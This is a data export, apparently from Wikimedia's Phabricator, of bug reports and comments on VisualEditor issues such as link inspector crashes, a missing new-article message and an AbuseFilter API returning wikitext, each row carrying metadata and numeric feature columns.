+If leading whitespace at start of line is desired by the editor, then VE should convert them to &nbsp; or if nowikis are acceptable, the spaces can be left alone.  In either case, this kind of edits should hopefully be rare.",,,1374006352,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-mu2vgsj5i4mlfiswzx4o,task_subcomment,,True,c1,3,True,,,2,,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,1,1,1,0,1
+249587,VisualEditor: Strip whitespace from the start of paragraphs before sending to Parsoid,"If VE can strip leading whitespace in paragraphs, that will eliminate these errors.  Alternatively, Parsoid can do that normalization. Unclear where this should be done.  Will discuss on IRC.",,,1374005921,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-mu2vgsj5i4mlfiswzx4o,task_subcomment,,True,c1,3,True,,,2,,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+249579,VisualEditor: Strip whitespace from the start of paragraphs before sending to Parsoid,and https://en.wikipedia.org/w/index.php?title=John_Altoon&diff=prev&oldid=564536250,,,1374001895,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-mu2vgsj5i4mlfiswzx4o,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+53459,VisualEditor: Show the <newarticletext> message when creating a new article,"When creating a new article in the source editor, a box with the message newarticletext appears at the top. It doesn't appear in the VisualEditor.
+
+Compare:
+
+source: https://en.wikipedia.org/w/index.php?title=Aklotspa&action=edit
+
+VE: https://en.wikipedia.org/wiki/Aklotspa?veaction=edit
+
+--------------------------
+**Version**: unspecified
+**Severity**: trivial",High,80.0,1374000660,1374676711.0,PHID-USER-xfe43w2lb5gpvglf4coa,False,,False,PHID-TASK-q5qzozhueiwufmgr5jwq,task_description,resolved,True,c1,3,False,False,True,2,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+249429,VisualEditor: Show the <newarticletext> message when creating a new article,Fixed and will get deployed in a few minutes.,,,1374676711,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-q5qzozhueiwufmgr5jwq,task_subcomment,,True,c1,3,True,,,3,,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+249420,VisualEditor: Show the <newarticletext> message when creating a new article,"Change 75563 merged by jenkins-bot:
+Show newarticletext(anon) when creating a new page
+
+https://gerrit.wikimedia.org/r/75563",,,1374676401,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-q5qzozhueiwufmgr5jwq,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,0
+249414,VisualEditor: Show the <newarticletext> message when creating a new article,"Change 75563 had a related patch set uploaded by Esanders:
+Show newarticletext(anon) when creating a new page
+
+https://gerrit.wikimedia.org/r/75563",,,1374659039,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-q5qzozhueiwufmgr5jwq,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,0
+249409,VisualEditor: Show the <newarticletext> message when creating a new article,"The resolution of Bug 51160 gives me hope. French Wikipedia transcludes Talk:.../Suppression subpages for some deleted articles.
+ 
+https://fr.wikipedia.org/w/index.php?title=Sp%C3%A9cial%3ARecherche&profile=advanced&search=Suppression&fulltext=Search&ns1=1&redirs=1&profile=advanced",,,1374605847,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-q5qzozhueiwufmgr5jwq,task_subcomment,,True,c1,3,False,,,3,,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,0,0,1,0,0,0,0
+249406,VisualEditor: Show the <newarticletext> message when creating a new article,"@James, before marking this trivial, I hope you did an impact assessment on
+1. https://de.wikipedia.org/wiki/MediaWiki:Newarticletext-0
+2. https://es.wikipedia.org/wiki/MediaWiki:Newarticletext
+3. https://fr.wikipedia.org/wiki/MediaWiki:Newarticletext
+4. https://he.wikipedia.org/wiki/MediaWiki:Newarticletext
+5. https://it.wikipedia.org/wiki/MediaWiki:Newarticletext
+6. https://nl.wikipedia.org/wiki/MediaWiki:Newarticletext
+7. https://pl.wikipedia.org/wiki/MediaWiki:Newarticletext
+8. https://ru.wikipedia.org/wiki/MediaWiki:Newarticletext
+9. https://sv.wikipedia.org/wiki/MediaWiki:Newarticletext
+
+I know you didn't, because on at least one of those projects there is critical functionality in this message.  Since you and O Keyes (on a different bug about missing interface messages) are being so rude, I'll let you find out the hard way.",,,1374535182,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-q5qzozhueiwufmgr5jwq,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,1,1,1,1,0,0,1,1,0,0,1,1,0,1,1,0,0,0,1,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1
+249404,VisualEditor: Show the <newarticletext> message when creating a new article,"(In reply to comment #1)
+> This is something that obviously must be fixed before VE is enabled by
+> default, which is planned for Real Soon Now(tm).
+
+By default for whom on which wiki? It's been enabled by default on enwiki since 1 July for logged-in users and since 15 July for anonymous users too.",,,1374507374,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-q5qzozhueiwufmgr5jwq,task_subcomment,,True,c1,3,True,,,3,,0,1,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,1,0,1,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,0,0,0,0,0,1
+249401,VisualEditor: Show the <newarticletext> message when creating a new article,"This is something that obviously must be fixed before VE is enabled by default, which is planned for Real Soon Now(tm).",,,1374302681,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-q5qzozhueiwufmgr5jwq,task_subcomment,,True,c1,3,False,,,2,,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0
+53439,VisualEditor: Inspectors and context menu should close when blurring the document and/or when opening the save dialog,"1. Edit page
+2. Focus a link and open the link inspector, have the link input widget focussed
+3. Make a change (or don't) and click ""Save page"".
+
+The surface dims, but the inspector stays open and at full opacity.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1373981940,1408734627.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-eto6zg3t57jsyeutf64w,task_description,resolved,True,c1,3,True,False,False,2,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,1
+248279,VisualEditor: Inspectors and context menu should close when blurring the document and/or when opening the save dialog,"Confirmed, the link and language inspectors close on triggering the save dialog.",,,1408734627,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-eto6zg3t57jsyeutf64w,task_subcomment,,True,c1,3,True,,,59,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+248274,VisualEditor: Inspectors and context menu should close when blurring the document and/or when opening the save dialog,"Is this fixed now? I can't reproduce this any more. Clicking Save page closes the link inspector for me, and it seems to save the changes correctly too.",,,1408687329,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-eto6zg3t57jsyeutf64w,task_subcomment,,True,c1,3,False,,,59,,1,0,0,0,1,0,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,1,1,1,0,0
+248268,VisualEditor: Inspectors and context menu should close when blurring the document and/or when opening the save dialog,*** Bug 63050 has been marked as a duplicate of this bug. ***,,,1401996119,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-eto6zg3t57jsyeutf64w,task_subcomment,,True,c1,3,True,,,48,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+248263,VisualEditor: Inspectors and context menu should close when blurring the document and/or when opening the save dialog,"Same for context menu (e.g. focus a link, but don't open the inspector yet)",,,1373982044,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-eto6zg3t57jsyeutf64w,task_subcomment,,True,c1,3,True,,,2,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+53415,"VisualEditor: Link inspector ignores typed text if user presses [enter] too quickly, explodes with new links","The link inspector ignores the text entered when the user does not wait for the ""matching page"" results to appear (Chrome/Ubuntu) before pressing ""enter"". If the user is adding a completely new link, the selection appears offscreen and we get a JavaScript error:
+
+Uncaught Error: No class registered by that name: undefined 
+
+This behavior is similar to earlier issues such as bug 42278 and bug 49941.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",High,80.0,1373936940,1375304939.0,PHID-USER-766idcqt4jkngnnuhnrj,False,,False,PHID-TASK-xodrhcpq6wj3seyvlmoc,task_description,resolved,True,c1,3,False,False,True,2,,0,0,1,0,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0
+246849,"VisualEditor: Link inspector ignores typed text if user presses [enter] too quickly, explodes with new links",This is now merged and will be deployed later.,,,1375304939,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-xodrhcpq6wj3seyvlmoc,task_subcomment,,True,c1,3,True,,,4,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+246845,"VisualEditor: Link inspector ignores typed text if user presses [enter] too quickly, explodes with new links","Change 76839 merged by jenkins-bot:
+Link inspector bug fixes
+
+https://gerrit.wikimedia.org/r/76839",,,1375304098,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xodrhcpq6wj3seyvlmoc,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+246840,"VisualEditor: Link inspector ignores typed text if user presses [enter] too quickly, explodes with new links",*** Bug 52344 has been marked as a duplicate of this bug. ***,,,1375303309,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-xodrhcpq6wj3seyvlmoc,task_subcomment,,True,c1,3,True,,,4,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+246834,"VisualEditor: Link inspector ignores typed text if user presses [enter] too quickly, explodes with new links","Change 76839 had a related patch set uploaded by Trevor Parscal:
+The greatest commit in the history of the world*
+
+https://gerrit.wikimedia.org/r/76839",,,1375222005,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xodrhcpq6wj3seyvlmoc,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,1,0
+53406,VisualEditor: Transclusion dialog should prevent adding identically-named parameters (and aliases),"Templates should not have identically named parameters  (""url="", ""url="", for example). Can VisualEditor be configured to note when this happens, if not outright prevent it?
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",High,80.0,1373927820,1406062458.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-5pkp6kncu5pzdahrd6qn,task_description,resolved,True,c1,3,False,False,False,2,,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,0,0,0,0,0,0
+246302,VisualEditor: Transclusion dialog should prevent adding identically-named parameters (and aliases),"I'm going to assume ""yes"" given testing.",,,1406062458,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-5pkp6kncu5pzdahrd6qn,task_subcomment,,True,c1,3,True,,,55,,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,1,0,0,1,1,0,0,1,0,1,0,0,1,0,1,0,0,0
+246297,VisualEditor: Transclusion dialog should prevent adding identically-named parameters (and aliases),Works for me... Has this been fixed since it was reported?,,,1405980543,,PHID-USER-x7ti5ksby4ubsabntlxa,True,,,PHID-TASK-5pkp6kncu5pzdahrd6qn,task_subcomment,,True,c1,3,True,,,55,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,1,0,0,0,0
+53404,VisualEditor: Link inspector crashes when inserting link on non-linkable or empty selection,"* Edit a page
+* Put cursor at the end of a line
+* Go to toolbar and Insert new link
+* The input field is focussed, blur it by clicking somewhere inside the inspector outside the input field
+* Click the trash can (since there is no ""x"" close button, that's the closest I can find in the top left or right corner)
+* The inspector clears itself but stays behind (crashes half-way closing)
+
+
+Uncaught Error: No class registered by that name: undefined ve.Factory.js:62
+ve.Factory.create ve.Factory.js:62
+ve.dm.SurfaceFragment.annotateContent ve.dm.SurfaceFragment.js:518
+ve.ui.AnnotationInspector.onClose ve.ui.AnnotationInspector.js:162
+ve.ui.Window.close ve.ui.Window.js:281
+ve.ui.Inspector.onRemoveButtonClick ve.ui.Inspector.js:89
+oo.EventEmitter.emit oo.js:421
+ve.ui.IconButtonWidget.onClick ve.ui.IconButtonWidget.js:61
+proxy load.php?debug=true&lang=en&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20130715T175253Z:775
+jQuery.event.dispatch load.php?debug=true&lang=en&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20130715T175253Z:3058
+elemData.handle.eventHandle
+
+
+An empty inspector stays behind and the user can no longer interact with any links at this point. When doing anything (scrolling, typing) the inspector will hide. Except the bubble tip on top, that one stays behind...
+
+--------------------------
+**Version**: unspecified
+**Severity**: critical",High,80.0,1373927580,1375304925.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-dke6zkvtno2ooulod6bw,task_description,resolved,True,c1,3,True,False,True,2,,1,1,0,1,0,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,0,0,1,0,1,1,0,1,1,1,0,1,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,1,1,1,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,1,1
+246201,VisualEditor: Link inspector crashes when inserting link on non-linkable or empty selection,*** Bug 51984 has been marked as a duplicate of this bug. ***,,,1383173187,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-dke6zkvtno2ooulod6bw,task_subcomment,,True,c1,3,True,,,17,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+246197,VisualEditor: Link inspector crashes when inserting link on non-linkable or empty selection,This is now merged and will be deployed later.,,,1375304925,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-dke6zkvtno2ooulod6bw,task_subcomment,,True,c1,3,True,,,4,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+246192,VisualEditor: Link inspector crashes when inserting link on non-linkable or empty selection,"Change 76839 merged by jenkins-bot:
+Link inspector bug fixes
+
+https://gerrit.wikimedia.org/r/76839",,,1375304091,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dke6zkvtno2ooulod6bw,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+246187,VisualEditor: Link inspector crashes when inserting link on non-linkable or empty selection,"Change 76839 had a related patch set uploaded by Trevor Parscal:
+The greatest commit in the history of the world*
+
+https://gerrit.wikimedia.org/r/76839",,,1375222010,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dke6zkvtno2ooulod6bw,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,1,0
+246178,VisualEditor: Link inspector crashes when inserting link on non-linkable or empty selection,"I can reproduce this by putting the cursor on a blank line (such as an empty page), clicking link inspector icon, then pressing key 'Esc'.",,,1374998678,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-dke6zkvtno2ooulod6bw,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,0
+246171,VisualEditor: Link inspector crashes when inserting link on non-linkable or empty selection,"Bug 51415 is reporting the same JS error in the same component, with different steps to reproduce.",,,1374444476,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-dke6zkvtno2ooulod6bw,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+246165,VisualEditor: Link inspector crashes when inserting link on non-linkable or empty selection,I've just tested this and can reproduce it except for comment 3 - in my test I was able to do everything except link and the save worked as expected.,,,1374342895,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-dke6zkvtno2ooulod6bw,task_subcomment,,True,c1,3,False,,,2,,0,1,0,0,0,1,1,0,0,0,1,1,0,0,0,1,1,1,1,1,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+246159,VisualEditor: Link inspector crashes when inserting link on non-linkable or empty selection,"It could be just be, but I run into this quite often. Every time it happens the interface crashes unrecoverably and all work is lost.",,,1374148846,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-dke6zkvtno2ooulod6bw,task_subcomment,,True,c1,3,True,,,2,,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+246153,VisualEditor: Link inspector crashes when inserting link on non-linkable or empty selection,"Created attachment 12854
+Screenshot of problem
+
+**Attached**: {F11587}",,,1373927653,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-dke6zkvtno2ooulod6bw,task_subcomment,,True,c1,3,True,,,2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+246147,VisualEditor: Link inspector crashes when inserting link on non-linkable or empty selection,"Note, this doesn't seem a race condition or anything. I'm giving it at least half a second to a second of time between each distinct action.",,,1373927630,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-dke6zkvtno2ooulod6bw,task_subcomment,,True,c1,3,True,,,2,,1,1,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,1,0
+53403,"AbuseFilter: API is responding with wikitext instead of HTML in the ""warning"" property","Screenshot of problem in local VisualEditor dev
+
+The code [1] is using $status->getHtml() but apparently it doesn't work as expected because I'm getting raw wikitext.
+
+        ""edit"": {
+            ""code"": ""abusefilter-warning"",
+            ""info"": ""Hit AbuseFilter: Blanking articles"",
+            ""warning"": ""'''Warning:''' This action has been automatically identified as harmful.\nUnconstructive edits will be quickly reverted,\nand egregious or repeated unconstructive editing will result in your account or IP address being blocked.\nIf you believe this action to be constructive, you may submit it again to confirm it.\nA brief description of the abuse rule which your action matched is: Blanking articles"",
+            ""result"": ""Failure""
+        }
+
+To import the filter, use ""Special:AbuseFilter/import"" on your localwiki with:
+
+{""row"":{""af_id"":""1"",""af_pattern"":""!\""autoconfirmed\"" in user_groups\r\n& new_size < 50\r\n& old_size > 500\r\n& article_namespace == 0"",""af_user"":""1"",""af_user_text"":""Root"",""af_timestamp"":""20130715214820"",""af_enabled"":""1"",""af_comments"":"""",""af_public_comments"":""Blanking articles"",""af_hidden"":""0"",""af_hit_count"":""9"",""af_throttled"":""1"",""af_deleted"":""0"",""af_actions"":""warn,disallow,tag"",""af_global"":""0"",""af_group"":""default""},""actions"":{""disallow"":{""action"":""disallow"",""parameters"":[""""]},""tag"":{""action"":""tag"",""parameters"":[""blanking""]},""warn"":{""action"":""warn"",""parameters"":[""abusefilter-warning""]}}}
+
+
+
+[1] https://github.com/wikimedia/mediawiki-extensions-AbuseFilter/blob/a6b1dade840841ff7adf2ff289b6428f930d6796/AbuseFilter.hooks.php#L22-L57
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
